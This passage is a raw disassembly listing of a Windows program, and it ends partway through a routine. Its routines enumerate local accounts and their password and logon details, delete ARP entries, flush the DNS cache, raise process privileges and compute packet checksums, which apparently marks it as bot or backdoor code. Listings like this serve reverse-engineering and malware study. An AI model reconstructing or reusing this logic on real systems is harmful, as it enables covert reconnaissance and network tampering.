loc_4108CE: ; CODE XREF: sub_410895+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4915A8 mov ebx, eax cmp ebx, esi jz short loc_410931 cmp ebx, 0EAh jz short loc_410931 push ebx push ebx call sub_411235 pop ecx push eax lea eax, [ebp+var_210] push offset unk_430ED4 push eax call sub_416821 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 24h jmp short loc_41099E ; --------------------------------------------------------------------------- loc_410931: ; CODE XREF: sub_410895+5Dj ; sub_410895+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_410995 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_41093F: ; CODE XREF: sub_410895+FCj push dword ptr [esi+10h] call dword_491550 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_410956 mov eax, offset aNo ; "No" loc_410956: ; CODE XREF: sub_410895+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_416821 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_41093F xor esi, esi loc_410995: ; CODE XREF: sub_410895+A2j push [ebp+var_4] call dword_4916EC loc_41099E: ; CODE XREF: sub_410895+9Aj cmp ebx, 0EAh jz loc_4108CE xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_410895 endp ; --------------------------------------------------------------------------- db 48h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109FE proc near ; CODE XREF: sub_40102Dj arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_410AA2 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_410A40 dec eax jz short loc_410A35 dec eax jnz short loc_410A5B push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_401271 add esp, 14h jmp short loc_410A57 ; --------------------------------------------------------------------------- loc_410A35: ; CODE XREF: sub_4109FE+1Dj push ebx push edi call sub_40105A pop ecx pop ecx jmp short loc_410A57 ; --------------------------------------------------------------------------- loc_410A40: ; CODE XREF: sub_4109FE+1Aj cmp [ebp+arg_8], edi jz short loc_410A54 push [ebp+arg_8] push ebx push edi call sub_4012BC add esp, 0Ch jmp short loc_410A57 ; --------------------------------------------------------------------------- loc_410A54: ; CODE XREF: sub_4109FE+45j push 57h pop eax loc_410A57: ; CODE XREF: sub_4109FE+35j ; sub_4109FE+40j ... cmp eax, edi jnz short loc_410A7B loc_410A5B: ; CODE XREF: sub_4109FE+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_491F34 push off_43064C[eax*4] push offset unk_430FD0 push esi call sub_416821 add esp, 10h jmp short loc_410AC2 ; --------------------------------------------------------------------------- loc_410A7B: ; CODE XREF: sub_4109FE+5Bj push eax call sub_411235 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_491F34 push off_430648[eax*4] push offset unk_430F8C push esi call sub_416821 add esp, 18h jmp short loc_410AC2 ; --------------------------------------------------------------------------- loc_410AA2: ; CODE XREF: sub_4109FE+Dj mov eax, [ebp+arg_0] mov esi, offset dword_491F34 lea eax, [eax+eax*2] push off_430648[eax*4] push offset unk_430F50 push esi call sub_416821 add esp, 0Ch loc_410AC2: ; CODE XREF: sub_4109FE+7Bj ; sub_4109FE+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4109FE endp ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410AFB proc near ; CODE XREF: sub_4012BCj var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_410819 push [ebp+arg_4] mov edi, eax call sub_410819 push [ebp+arg_8] mov [ebp+var_24], eax call sub_410819 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_491540 pop edi leave retn sub_410AFB endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410B6B proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_410819 push [esp+8+arg_4] mov esi, eax call sub_410819 pop ecx pop ecx push eax push esi call dword_491530 pop esi retn sub_410B6B endp ; --------------------------------------------------------------------------- db 8 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B94 proc near ; CODE XREF: sub_401271j var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_410819 push [ebp+arg_4] mov esi, eax call sub_410819 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4916B4 test eax, eax mov [ebp+arg_0], eax jnz loc_410F21 mov eax, [ebp+var_4] test eax, eax jz loc_410F5C push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_416821 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_410CAD dec eax jz short loc_410CA6 dec eax jz short loc_410C9F mov eax, offset aUnknown ; "Unknown" jmp short loc_410CB2 ; --------------------------------------------------------------------------- loc_410C9F: ; CODE XREF: sub_410B94+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_410CB2 ; --------------------------------------------------------------------------- loc_410CA6: ; CODE XREF: sub_410B94+FFj mov eax, offset aUser_2 ; "User" jmp short loc_410CB2 ; --------------------------------------------------------------------------- loc_410CAD: ; CODE XREF: sub_410B94+FCj mov eax, offset aGuest ; "Guest" loc_410CB2: ; CODE XREF: sub_410B94+109j ; sub_410B94+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_416821 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4010D2 add esp, 20h pop edi pop ebx jmp short loc_410F4D ; --------------------------------------------------------------------------- loc_410F21: ; CODE XREF: sub_410B94+35j push eax lea eax, [ebp+var_204] push offset unk_431000 push eax call sub_416821 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_4010D2 add esp, 20h loc_410F4D: ; CODE XREF: sub_410B94+38Bj cmp [ebp+var_4], 0 jz short loc_410F5C push [ebp+var_4] call dword_4916EC loc_410F5C: ; CODE XREF: sub_410B94+40j ; sub_410B94+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_410B94 endp ; --------------------------------------------------------------------------- db 0F3h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411055 proc near ; CODE XREF: sub_4011FEj var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_410819 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 18h loc_411094: ; CODE XREF: sub_411055+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4915C4 cmp eax, esi mov [ebp+var_C], eax jz short loc_4110F5 cmp eax, 0EAh jz short loc_4110F5 push eax push eax call sub_411235 pop ecx push eax lea eax, [ebp+var_218] push offset unk_431228 push eax call sub_416821 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 24h jmp short loc_411170 ; --------------------------------------------------------------------------- loc_4110F5: ; CODE XREF: sub_411055+62j ; sub_411055+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_411183 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_411170 loc_411107: ; CODE XREF: sub_411055+EDj cmp edi, esi jz short loc_411146 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_3 ; " %S" push eax call sub_416821 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_411107 jmp short loc_411170 ; --------------------------------------------------------------------------- loc_411146: ; CODE XREF: sub_411055+B4j lea eax, [ebp+var_218] push offset unk_4311E0 push eax call sub_416821 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 1Ch loc_411170: ; CODE XREF: sub_411055+9Ej ; sub_411055+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_411183 push edi call dword_4916EC xor edi, edi mov [ebp+var_4], edi loc_411183: ; CODE XREF: sub_411055+A5j ; sub_411055+120j cmp [ebp+var_C], 0EAh jz loc_411094 cmp edi, esi jz short loc_41119B push edi call dword_4916EC loc_41119B: ; CODE XREF: sub_411055+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_416821 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_411055 endp ; --------------------------------------------------------------------------- db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411235 proc near ; CODE XREF: sub_410626+41p ; sub_410895+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_4112E7 jz loc_4112E0 cmp eax, 7Bh ja short loc_4112AC jz short loc_4112A2 cmp eax, 5 jz short loc_411298 cmp eax, 8 jz short loc_41128E cmp eax, 32h jz short loc_411284 cmp eax, 35h jz short loc_41127A cmp eax, 57h jnz loc_411336 push offset aInvalidParamet ; "Invalid parameter." jmp loc_411357 ; --------------------------------------------------------------------------- loc_41127A: ; CODE XREF: sub_411235+30j push offset aServerNameNotF ; "Server name not found." jmp loc_411357 ; --------------------------------------------------------------------------- loc_411284: ; CODE XREF: sub_411235+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_411357 ; --------------------------------------------------------------------------- loc_41128E: ; CODE XREF: sub_411235+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_411357 ; --------------------------------------------------------------------------- loc_411298: ; CODE XREF: sub_411235+21j push offset aAccessDenied_ ; "Access denied." jmp loc_411357 ; --------------------------------------------------------------------------- loc_4112A2: ; CODE XREF: sub_411235+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_411357 ; --------------------------------------------------------------------------- loc_4112AC: ; CODE XREF: sub_411235+1Aj sub eax, 7Ch jz short loc_4112D9 sub eax, 7C8h jz short loc_4112D2 dec eax jz short loc_4112C8 dec eax jnz short loc_411336 push offset aDuplicateShare ; "Duplicate share name." jmp loc_411357 ; --------------------------------------------------------------------------- loc_4112C8: ; CODE XREF: sub_411235+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_411357 ; --------------------------------------------------------------------------- loc_4112D2: ; CODE XREF: sub_411235+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_4112D9: ; CODE XREF: sub_411235+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_4112E0: ; CODE XREF: sub_411235+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_411357 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: sub_411235+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_411320 jz short loc_411319 sub eax, 8ADh jz short loc_41134B dec eax dec eax jz short loc_411312 dec eax jz short loc_41130B dec eax dec eax jnz short loc_411336 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_411357 ; --------------------------------------------------------------------------- loc_41130B: ; CODE XREF: sub_411235+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_411312: ; CODE XREF: sub_411235+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_411319: ; CODE XREF: sub_411235+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_411357 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_411235+B9j sub eax, 8CAh jz short loc_411352 sub eax, 17h jz short loc_41134B sub eax, 25h jz short loc_411344 sub eax, 29h jz short loc_41133D loc_411336: ; CODE XREF: sub_411235+35j ; sub_411235+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_41133D: ; CODE XREF: sub_411235+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_411344: ; CODE XREF: sub_411235+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_41134B: ; CODE XREF: sub_411235+C2j ; sub_411235+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_411357 ; --------------------------------------------------------------------------- loc_411352: ; CODE XREF: sub_411235+F0j push offset aNetworkConnect ; "Network connection not found." loc_411357: ; CODE XREF: sub_411235+40j ; sub_411235+4Aj ... push offset dword_491CD4 call sub_416821 pop ecx mov eax, offset dword_491CD4 pop ecx retn sub_411235 endp ; --------------------------------------------------------------------------- db 4Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113B6 proc near ; CODE XREF: sub_40127Bj var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_417D0C add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call ds:dword_4953F0 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_417D0C lea eax, [ebp+var_718] push eax call sub_417CEF add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_49166C test eax, eax jnz short loc_411446 mov esi, offset dword_491AD0 push offset unk_431604 push esi call sub_416821 pop ecx pop ecx jmp short loc_41146F ; --------------------------------------------------------------------------- loc_411446: ; CODE XREF: sub_4113B6+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_411235 pop ecx mov esi, offset dword_491AD0 push eax push offset unk_4315C4 push esi call sub_416821 add esp, 14h loc_41146F: ; CODE XREF: sub_4113B6+8Ej mov eax, esi pop esi leave retn sub_4113B6 endp ; --------------------------------------------------------------------------- db 2Fh dup(0CCh) ; --------------------------------------------------------------------------- loc_4114A3: ; CODE XREF: .text:0040111Dj push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi push edi jz loc_411535 push offset byte_4370BC push dword ptr [ebp+8] call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_411535 push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call sub_416A10 mov esi, offset a__0 ; "." lea eax, [ebp-20h] push esi push eax call sub_4176C0 add esp, 14h test eax, eax jz short loc_411535 push eax call sub_416CCF push esi push 0 mov edi, eax call sub_4176C0 add esp, 0Ch test eax, eax jz short loc_411535 push eax call sub_416CCF cmp edi, 0Ah pop ecx jz short loc_411530 cmp edi, 0ACh jnz short loc_411521 cmp eax, 0Fh jle short loc_411535 cmp eax, 20h jl short loc_411530 loc_411521: ; CODE XREF: .text:00411515j cmp edi, 0C0h jnz short loc_411535 cmp eax, 0A8h jnz short loc_411535 loc_411530: ; CODE XREF: .text:0041150Dj ; .text:0041151Fj push 1 pop eax jmp short loc_411537 ; --------------------------------------------------------------------------- loc_411535: ; CODE XREF: .text:004114AFj ; .text:004114C6j ... xor eax, eax loc_411537: ; CODE XREF: .text:00411533j pop edi pop esi leave retn ; --------------------------------------------------------------------------- db 26h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411561 proc near ; CODE XREF: sub_4011C2j arg_0 = dword ptr 4 push [esp+arg_0] call dword_49169C ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_411589 push [esp+arg_0] call dword_4916E0 ; gethostbyname test eax, eax jnz short loc_411582 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_411582: ; CODE XREF: sub_411561+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_411589: ; CODE XREF: sub_411561+Dj retn sub_411561 endp ; --------------------------------------------------------------------------- db 0Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411594 proc near ; CODE XREF: sub_4010CDj mov ecx, dword_491584 xor eax, eax test ecx, ecx jz short locret_4115A2 call ecx ; DnsFlushResolverCache locret_4115A2: ; CODE XREF: sub_411594+Aj retn sub_411594 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4115A6 proc near ; CODE XREF: sub_40101Ej var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4916D8 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_41166C sub ecx, 32h jz loc_411665 sub ecx, 48h jz short loc_411606 sub ecx, 6Eh jz short loc_4115FF loc_4115E8: ; CODE XREF: sub_4115A6+8Bj push eax lea eax, [ebp+var_88] push offset dword_431704 push eax call sub_416821 add esp, 0Ch jmp short loc_411646 ; --------------------------------------------------------------------------- loc_4115FF: ; CODE XREF: sub_4115A6+40j push offset dword_4316CC jmp short loc_411638 ; --------------------------------------------------------------------------- loc_411606: ; CODE XREF: sub_4115A6+3Bj push [ebp+var_8] call sub_415CF8 push [ebp+var_8] mov esi, eax push edi push esi call sub_415CA0 add esp, 10h cmp esi, edi jz short loc_411633 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4916D8 ; GetIpNetTable cmp eax, edi jz short loc_41166C jmp short loc_4115E8 ; --------------------------------------------------------------------------- loc_411633: ; CODE XREF: sub_4115A6+79j push offset dword_431684 loc_411638: ; CODE XREF: sub_4115A6+5Ej ; sub_4115A6+C4j lea eax, [ebp+var_88] push eax call sub_416821 pop ecx pop ecx loc_411646: ; CODE XREF: sub_4115A6+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_401014 pop ecx loc_411656: ; CODE XREF: sub_4115A6+C8j ; sub_4115A6+DCj push esi call sub_415D6C mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_411665: ; CODE XREF: sub_4115A6+32j push offset dword_431640 jmp short loc_411638 ; --------------------------------------------------------------------------- loc_41166C: ; CODE XREF: sub_4115A6+29j ; sub_4115A6+89j cmp [esi], edi jbe short loc_411656 lea ebx, [esi+4] loc_411673: ; CODE XREF: sub_4115A6+DAj push ebx call dword_4916D4 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_411673 jmp short loc_411656 sub_4115A6 endp ; --------------------------------------------------------------------------- db 37h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116BB proc near ; CODE XREF: sub_401299j var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_491600 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4924F8 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_416821 add esp, 18h mov eax, esi pop esi leave retn sub_4116BB endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41172A proc near ; CODE XREF: sub_40120Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_411753 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_411746: ; CODE XREF: sub_41172A+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_411746 pop edi jmp short loc_411757 ; --------------------------------------------------------------------------- loc_411753: ; CODE XREF: sub_41172A+Aj mov edx, [esp+4+arg_0] loc_411757: ; CODE XREF: sub_41172A+27j test esi, esi pop esi jz short loc_411761 movzx ecx, byte ptr [edx] add eax, ecx loc_411761: ; CODE XREF: sub_41172A+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_41172A endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- loc_41178A: ; CODE XREF: .text:004012ADj push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp-4], esi jle short loc_4117B7 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_4117A9: ; CODE XREF: .text:004117B1j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_4117A9 pop edi cmp eax, 1 loc_4117B7: ; CODE XREF: .text:0041179Dj jnz short loc_4117C4 mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_4117C4: ; CODE XREF: .text:loc_4117B7j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4117F1 proc near ; CODE XREF: sub_401262j var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_4953F4 ; GetCurrentProcess push eax call dword_491640 ; OpenProcessToken test eax, eax jnz short loc_411810 leave retn ; --------------------------------------------------------------------------- loc_411810: ; CODE XREF: sub_4117F1+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_491618 ; LookupPrivilegeValueA test eax, eax jz short loc_41184E cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_411837 or [ebp+var_8], 2 jmp short loc_41183B ; --------------------------------------------------------------------------- loc_411837: ; CODE XREF: sub_4117F1+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41183B: ; CODE XREF: sub_4117F1+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4916C8 ; AdjustTokenPrivileges mov esi, eax loc_41184E: ; CODE XREF: sub_4117F1+32j push [ebp+var_4] call ds:dword_495358 ; CloseHandle mov eax, esi pop esi leave retn sub_4117F1 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411876 proc near ; CODE XREF: sub_401280j var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h 